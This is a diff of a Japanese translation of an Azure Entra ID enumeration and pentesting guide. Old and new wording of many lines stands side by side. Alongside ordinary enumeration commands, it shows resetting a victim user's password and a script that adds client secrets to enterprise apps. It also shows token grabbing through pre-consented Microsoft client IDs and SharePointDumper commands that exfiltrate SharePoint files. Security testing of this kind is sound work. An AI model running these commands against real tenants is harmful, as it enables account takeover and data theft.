任意のプログラムで**ログイン**を介して**CLI**経由で**Azure**に接続すると、**Microsoft**に属する**tenant**の**Azure Application**を使用しています。これらのApplicationsは、あなたのアカウントで作成できるものと同様に、**クライアントIDを持っています**。コンソールで確認できる**許可されたアプリケーション一覧**では**それらをすべて見ることはできません**が、**デフォルトで許可されています**。
|
||||
|
||||
たとえば、認証を行う**powershell script**は、client id **`1950a258-227b-4e31-a9cf-717495945fc2`** を持つアプリを使用します。たとえそのアプリがコンソールに表示されなくても、sysadminはそのアプリを**block**することができるため、ユーザーはそのAppを経由して接続するツールを使えなくなります。
|
||||
例えば、**powershell script**が**認証する**場合、クライアントIDが**`1950a258-227b-4e31-a9cf-717495945fc2`**のアプリを使用します。そのアプリがコンソールに表示されていなくても、システム管理者はそのアプリを**ブロックする**ことができ、ユーザーがそのApp経由で接続するツールを使ってアクセスするのを防げます。
|
||||
|
||||
しかし、Azureに接続を**will allow you to connect to Azure**する**other client-ids**を持つアプリケーションが他にもあります:
|
||||
しかし、**他の client-ids**を持つアプリケーションがあり、それらは**Azure に接続できる**:
|
||||
```bash
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
@@ -227,7 +227,7 @@ az account tenant list
|
||||
|
||||
### ユーザー
|
||||
|
||||
Entra ID ユーザーの詳細については、次を参照してください:
|
||||
Entra ID のユーザーの詳細については、次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -364,17 +364,17 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
|
||||
|
||||
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
||||
```
|
||||
### MFA と Conditional Access ポリシー
|
||||
### MFA と Conditional Access Policies
|
||||
|
||||
すべてのユーザーにMFAを追加することを強く推奨します。ただし、企業によってはMFAを未設定であったり、Conditional Access を使って設定している場合があります。ユーザーは特定の場所やブラウザ、または**ある条件**からログインした場合に**required MFA if**となります。これらのポリシーは正しく構成されていないと**bypasses**の対象となる可能性があります。確認してください:
|
||||
すべてのユーザーにMFAを設定することが強く推奨されますが、企業によっては未設定であったり、Conditional Accessで設定する場合があります: ユーザーは特定の場所、ブラウザ、または**ある条件**からログインした場合に**MFAが要求される**ことになります。これらのポリシーは、正しく構成されていないと**bypasses**の対象になり得ます。確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Groups
|
||||
### グループ
|
||||
|
||||
Entra ID groups の詳細については次を参照してください:
|
||||
Entra ID groups の詳細については、以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -483,13 +483,13 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
|
||||
|
||||
#### グループにユーザーを追加
|
||||
|
||||
グループの所有者はグループに新しいユーザーを追加できます。
|
||||
グループの所有者は、新しいユーザーをグループに追加できます
|
||||
```bash
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> グループは動的に設定でき、基本的に **ユーザーが特定の条件を満たすとそのユーザーがグループに追加される** ということを意味します。もちろん、条件が **属性** に基づいており、**ユーザー** がそれを **制御** できる場合、そのユーザーはこの機能を悪用して **他のグループに入る** 可能性があります。\
|
||||
> 動的グループを悪用する方法は次のページを参照してください:
|
||||
> グループは動的に構成でき、基本的には **ユーザーが特定の条件を満たすとグループに追加される** という意味です。もちろん、その条件が **ユーザーが操作できる属性** に基づく場合、この機能を悪用して **他のグループに入る** 可能性があります。\
|
||||
> 動的グループの悪用方法は次のページを参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
@@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
|
||||
### サービスプリンシパル
|
||||
|
||||
Entra ID のサービスプリンシパルに関する詳細は次を参照してください:
|
||||
Entra ID のサービスプリンシパルの詳細は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -602,7 +602,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
|
||||
|
||||
<details>
|
||||
|
||||
<summary>各 Enterprise App を一覧表示し、各 Enterprise App に client secret を追加できるか試す</summary>
|
||||
<summary>各 Enterprise App を一覧化し、client secret を追加できるか試す</summary>
|
||||
```bash
|
||||
# Just call Add-AzADAppSecret
|
||||
Function Add-AzADAppSecret
|
||||
@@ -709,16 +709,16 @@ Write-Output "Failed to Enumerate the Applications."
|
||||
|
||||
### アプリケーション
|
||||
|
||||
アプリケーションの詳細については次を参照してください:
|
||||
アプリケーションの詳細については、次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
App が生成されると、2種類の権限が付与されます:
|
||||
Appが生成されると、2種類の権限が付与されます:
|
||||
|
||||
- **Permissions** が **Service Principal** に付与される
|
||||
- **Permissions** を **app** がユーザーに代わって保持・使用できる
|
||||
- **権限** が **Service Principal** に付与される
|
||||
- **権限** を **app** が **ユーザーに代わって** 保有・使用できる
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss
|
||||
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Microsoft以外のAPIへのAPI権限を持つすべてのアプリケーションを見つける (az cli)</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Known Microsoft first-party owner organization IDs.
|
||||
MICROSOFT_OWNER_ORG_IDS=(
|
||||
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
|
||||
"72f988bf-86f1-41af-91ab-2d7cd011db47"
|
||||
)
|
||||
|
||||
is_microsoft_owner() {
|
||||
local owner="$1"
|
||||
local id
|
||||
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
|
||||
if [ "$owner" = "$id" ]; then
|
||||
return 0
|
||||
fi
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
|
||||
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
|
||||
az account show >/dev/null
|
||||
|
||||
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
|
||||
|
||||
tmp_map="$(mktemp)"
|
||||
tmp_ids="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
|
||||
|
||||
# Build unique resourceAppId values used by applications.
|
||||
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
|
||||
|
||||
# Resolve resourceAppId -> owner organization + API display name.
|
||||
while IFS= read -r rid; do
|
||||
[ -n "$rid" ] || continue
|
||||
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
|
||||
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
|
||||
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
|
||||
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
|
||||
done < "$tmp_ids"
|
||||
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
|
||||
|
||||
# Print only app permissions where the target API is NOT Microsoft-owned.
|
||||
while IFS= read -r row; do
|
||||
app_name="$(jq -r '.[0]' <<<"$row")"
|
||||
app_id="$(jq -r '.[1]' <<<"$row")"
|
||||
|
||||
while IFS= read -r rra; do
|
||||
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
|
||||
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
|
||||
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
|
||||
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
|
||||
|
||||
[ -n "$owner_org" ] || owner_org="UNKNOWN"
|
||||
[ -n "$resource_name" ] || resource_name="UNKNOWN"
|
||||
|
||||
if is_microsoft_owner "$owner_org"; then
|
||||
continue
|
||||
fi
|
||||
|
||||
while IFS= read -r access; do
|
||||
perm_type="$(jq -r '.type' <<<"$access")"
|
||||
perm_id="$(jq -r '.id' <<<"$access")"
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
|
||||
done < <(jq -c '.resourceAccess[]' <<<"$rra")
|
||||
done < <(jq -c '.[2][]' <<<"$row")
|
||||
done < <(jq -c '.[]' <<<"$apps_json")
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az" }}
|
||||
@@ -820,21 +895,21 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> 権限 **`AppRoleAssignment.ReadWrite`** を持つアプリは、自分自身にそのロールを付与することで **Global Admin に昇格** することができます。\
|
||||
> permission **`AppRoleAssignment.ReadWrite`** を持つアプリは、自分自身にそのロールを付与することで **Global Admin** に昇格できます。\
|
||||
> 詳細は [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48) を参照してください。
|
||||
|
||||
> [!NOTE]
|
||||
> アプリがトークンを要求する際に自分の識別を証明するために使用する秘密文字列はアプリケーションのパスワードです。\
|
||||
> したがって、この **password** を見つければ **service principal** として **tenant** 内にアクセスできます。\
|
||||
> このパスワードは生成時にのみ表示されます(変更は可能ですが再取得はできません)。\
|
||||
> **owner** が **application** に **password を追加** することもでき(その結果なりすますことが可能)、\
|
||||
> これらの service principal としてのログインは **リスクあり** とマークされず、**MFA** も適用されません。
|
||||
> アプリケーションがトークンを要求する際に自身の身元を証明するために使用する秘密文字列がアプリケーションパスワードです。\
|
||||
> したがって、この**パスワード**を見つければ、**サービスプリンシパル**として**テナント**内でアクセスできます。\
|
||||
> このパスワードは生成時にのみ表示される点に注意してください(変更は可能ですが再取得はできません)。\
|
||||
> **アプリケーション**の**オーナー**はそれに**パスワードを追加**できるため(なりすましが可能になります)、\
|
||||
> これらのサービスプリンシパルとしてのログインは**リスクとしてマークされず**、**MFAは適用されません。**
|
||||
|
||||
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
Microsoftに属する一般的に使用されるApp IDのリストは [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) で確認できます。
|
||||
|
||||
### Managed Identities
|
||||
|
||||
Managed Identities に関する詳細は次を参照してください:
|
||||
Managed Identities の詳細は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -850,9 +925,9 @@ az identity list --output table
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Azure のロール
|
||||
### Azure ロール
|
||||
|
||||
Azure のロールの詳細については、次を参照してください:
|
||||
Azure ロールの詳細については次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -939,7 +1014,7 @@ Headers = @{
|
||||
|
||||
### Entra ID ロール
|
||||
|
||||
Azure ロールの詳細については以下を参照してください:
|
||||
Azure ロールの詳細については次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1060,12 +1135,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> デバイス(VM)が **AzureAD joined** の場合、AzureAD のユーザーは **ログイン可能** です。\
|
||||
> さらに、ログインしているユーザーがデバイスの **Owner** であれば、そのユーザーは **local admin** になります。
|
||||
> デバイス(VM)が**AzureAD joined**の場合、AzureADのユーザーは**ログイン可能**になります。\
|
||||
> さらに、ログインしているユーザーがデバイスの**Owner**であれば、そのユーザーは**local admin**になります。
|
||||
|
||||
### 管理単位
|
||||
### 管理ユニット
|
||||
|
||||
管理単位の詳細については以下を参照してください:
|
||||
管理ユニットの詳細については、次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1102,12 +1177,12 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
|
||||
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
|
||||
|
||||
攻撃者は、**delegated Microsoft Graph token** に **`Sites.Read.All`** または **`Sites.ReadWrite.All`** が含まれている場合、Graph 上で **sites/drives/items** を列挙し、その後 **SharePoint pre-authentication download URLs**(access token を埋め込んだ時間制限付きの URL)経由でファイル内容を取得できます。[SharePointDumper](https://github.com/zh54321/SharePointDumper) スクリプトはフロー全体(列挙 → pre-auth ダウンロード)を自動化し、検出テスト用にリクエストごとのテレメトリを出力します。
|
||||
**delegated Microsoft Graph token** を持ち、**`Sites.Read.All`** または **`Sites.ReadWrite.All`** を含む攻撃者は、Graph 上で **sites/drives/items** を列挙し、**SharePoint pre-authentication download URLs**(アクセス トークンを埋め込んだ有効期限付きURL)を介してファイルの内容を取得できる。[SharePointDumper](https://github.com/zh54321/SharePointDumper) スクリプトはフロー全体(列挙 → pre-auth downloads)を自動化し、検出テスト用にリクエストごとのテレメトリを出力する。
|
||||
|
||||
### 利用可能な委任トークンの取得
|
||||
|
||||
- SharePointDumper 自体は **認証を行わない**。access token(任意で refresh token)を供給してください。
|
||||
- 事前に同意された **first-party clients** は、アプリを登録せずに Graph token を発行させる目的で悪用できます。例:`Invoke-Auth`([EntraTokenAid](https://github.com/zh54321/EntraTokenAid) から)の呼び出し:
|
||||
- SharePointDumper 自体は **認証を行わない**。アクセストークン(必要に応じてリフレッシュトークン)を渡す必要がある。
|
||||
- 事前に同意された **first-party clients** は、アプリを登録せずに Graph トークンを発行するために悪用できる。例: `Invoke-Auth`(from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid))の呼び出し:
|
||||
```powershell
|
||||
# CAE requested by default; yields long-lived (~24h) access token
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
@@ -1120,32 +1195,32 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
|
||||
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
|
||||
```
|
||||
> [!NOTE]
|
||||
> FOCI TRUE クライアントはデバイス間でのリフレッシュをサポートします。FOCI FALSE クライアントは、reply URL origin validation を満たすためにしばしば `-Origin` を必要とします。
|
||||
> FOCI TRUE clients はデバイス間でのリフレッシュをサポートします。FOCI FALSE clients は reply URL の origin 検証を満たすためにしばしば `-Origin` を必要とします。
|
||||
|
||||
### SharePointDumper を使った enumeration + exfiltration の実行
|
||||
### SharePointDumper を enumeration + exfiltration のために実行する
|
||||
|
||||
- カスタム UA / proxy / throttling を指定した Basic dump:
|
||||
- Basic dump with custom UA / proxy / throttling:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
|
||||
```
|
||||
- スコープ制御: サイトや拡張機能の包含/除外、およびグローバル制限:
|
||||
- スコープ制御: サイトや拡張機能の含める/除外とグローバル上限:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
|
||||
```
|
||||
- **再開** 中断された実行(再列挙しますが、ダウンロード済みの項目はスキップします):
|
||||
- **再開** 中断した実行を再列挙します (ダウンロード済みのアイテムはスキップします):
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
|
||||
```
|
||||
- **HTTP 401でのAutomatic token refresh** (EntraTokenAidを読み込む必要があります):
|
||||
- **HTTP 401 での自動トークン更新** (EntraTokenAid が読み込まれている必要があります):
|
||||
```powershell
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
|
||||
```
|
||||
操作メモ:
|
||||
運用ノート:
|
||||
|
||||
- 実行中の期限切れを避けるため、**CAE-enabled** トークンを優先使用します。リフレッシュ試行はツールの API ログに**記録されません**。
|
||||
- **Graph + SharePoint** 用の **CSV/JSON request logs** を生成し、組み込みの SharePoint ダウンロードトークンをデフォルトでマスク(切替可能)。
|
||||
- 検出/IR テスト中のトラフィック調整のため、**custom User-Agent**、**HTTP proxy**、**per-request delay + jitter**、および **Ctrl+C-safe shutdown** をサポート。
|
||||
- Prefers **CAE-enabled** tokens to avoid mid-run expiry; refresh attempts are **not** logged in the tool’s API log.
|
||||
- Generates **CSV/JSON request logs** for **Graph + SharePoint** and redacts embedded SharePoint download tokens by default (toggleable).
|
||||
- Supports **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, and **Ctrl+C-safe shutdown** for traffic shaping during detection/IR tests.
|
||||
|
||||
## Entra ID Privilege Escalation
|
||||
|
||||
@@ -1163,29 +1238,29 @@ Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
|
||||
### Privileged Identity Management (PIM)
|
||||
|
||||
Privileged Identity Management (PIM) は Azure で、ユーザーに不必要な過剰な権限が割り当てられるのを**防ぐ**のに役立ちます。
|
||||
Azure の Privileged Identity Management (PIM) は、ユーザーに不必要な過剰な権限が割り当てられるのを防ぐのに役立ちます。
|
||||
|
||||
PIM の主な機能の一つは、常時アクティブな主体にロールを割り当てるのではなく、一定期間(例: e.g. 6months)**eligible** にすることができる点です。ユーザーがそのロールを有効化したい場合、必要な期間(例: e.g. 3 hours)を指定して申請し、**管理者が承認**する必要があります。\
|
||||
ユーザーは有効期間を**延長**することもできます。
|
||||
PIM の主な機能の一つは、常時アクティブな状態でロールを割り当てるのではなく、ユーザーを一定期間「eligible(例:6ヶ月)」にしておける点です。ユーザーがそのロールを有効化したい場合、必要な時間(例:3時間)を指定して要求を行い、そこで管理者がそのリクエストを承認する必要があります。\
|
||||
ユーザーは有効化時間の延長を要求することもできます。
|
||||
|
||||
さらに、特権ロールが誰かに割り当てられるたびに、**PIM はメールを送信します**。
|
||||
さらに、特権ロールが誰かに割り当てられたときに、PIM はメールを送信します。
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
PIM が有効な場合、各ロールに対して次のような要件を設定できます:
|
||||
PIM が有効化されていると、各ロールに対して次のような要件を設定できます:
|
||||
|
||||
- 最大有効化期間 (hours)
|
||||
- 有効化時に MFA を要求
|
||||
- 有効化時に Conditional Access authentication context を要求
|
||||
- 有効化時に justification を要求
|
||||
- 有効化時にチケット情報を要求
|
||||
- 有効化するには承認を要求
|
||||
- eligible 割り当てが期限切れになるまでの最大時間
|
||||
- そのロールで特定の操作が発生したときにいつ誰に通知を送るか等、さらに多くの設定
|
||||
- 有効化の最大期間(時間)
|
||||
- 有効化時に MFA を要求する
|
||||
- Conditional Access の authentication context を要求する
|
||||
- 有効化時に正当化(justification)を要求する
|
||||
- 有効化時にチケット情報を要求する
|
||||
- 有効化に承認を要求する
|
||||
- eligible 割り当てが失効するまでの最大時間
|
||||
- そのロールで特定のアクションが発生したときに誰に通知を送るか等、さらに多くの設定
|
||||
|
||||
### Conditional Access Policies
|
||||
|
||||
Check:
|
||||
確認:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -1193,23 +1268,23 @@ Check:
|
||||
|
||||
### Entra Identity Protection
|
||||
|
||||
Entra Identity Protection は、ユーザーやサインインが受け入れられるにはリスクが高すぎるかどうかを**検出**し、ユーザーまたはサインイン試行を**ブロック**できるセキュリティサービスです。
|
||||
Entra Identity Protection は、ユーザーやサインインが受け入れられるにはリスクが高過ぎるかを検出し、ユーザーやサインイン試行をブロックできるようにするセキュリティサービスです。
|
||||
|
||||
管理者はリスクが「Low and above」「Medium and above」「High」のいずれかのレベルで試行を**ブロック**するように設定できます。ただし、デフォルトでは完全に**無効**です。
|
||||
管理者はリスクが "Low and above"、"Medium and above"、"High" のいずれかに達した場合に試行を **block** するよう設定できます。ただし、デフォルトでは完全に **disabled** になっています:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> 現在では、同じオプションを設定できる Conditional Access policies を通じてこれらの制限を追加することが推奨されています。
|
||||
> 現在では、同様のオプションを設定できる Conditional Access policies を通じてこれらの制限を追加することが推奨されています。
|
||||
|
||||
### Entra Password Protection
|
||||
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) は、複数のログイン失敗が発生した際にアカウントをロックアウトすることで、弱いパスワードの悪用を**防ぐ**セキュリティ機能です。\
|
||||
また、提供するカスタムパスワードリストを**禁止 (ban)** することもできます。
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) は、複数回のログイン失敗が発生した際にアカウントをロックして弱いパスワードの悪用を防ぐのに役立つセキュリティ機能です。\
|
||||
また、管理者が提供するカスタムのパスワード禁止リストを設定することもできます。
|
||||
|
||||
クラウドレベルおよびオンプレミスの Active Directory の両方に**適用可能**です。
|
||||
これはクラウドレベルおよびオンプレミスの Active Directory の両方に適用できます。
|
||||
|
||||
デフォルトモードは**Audit**です:
|
||||
デフォルトモードは **Audit** です:
|
||||
|
||||
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
Reference in New Issue
Block a user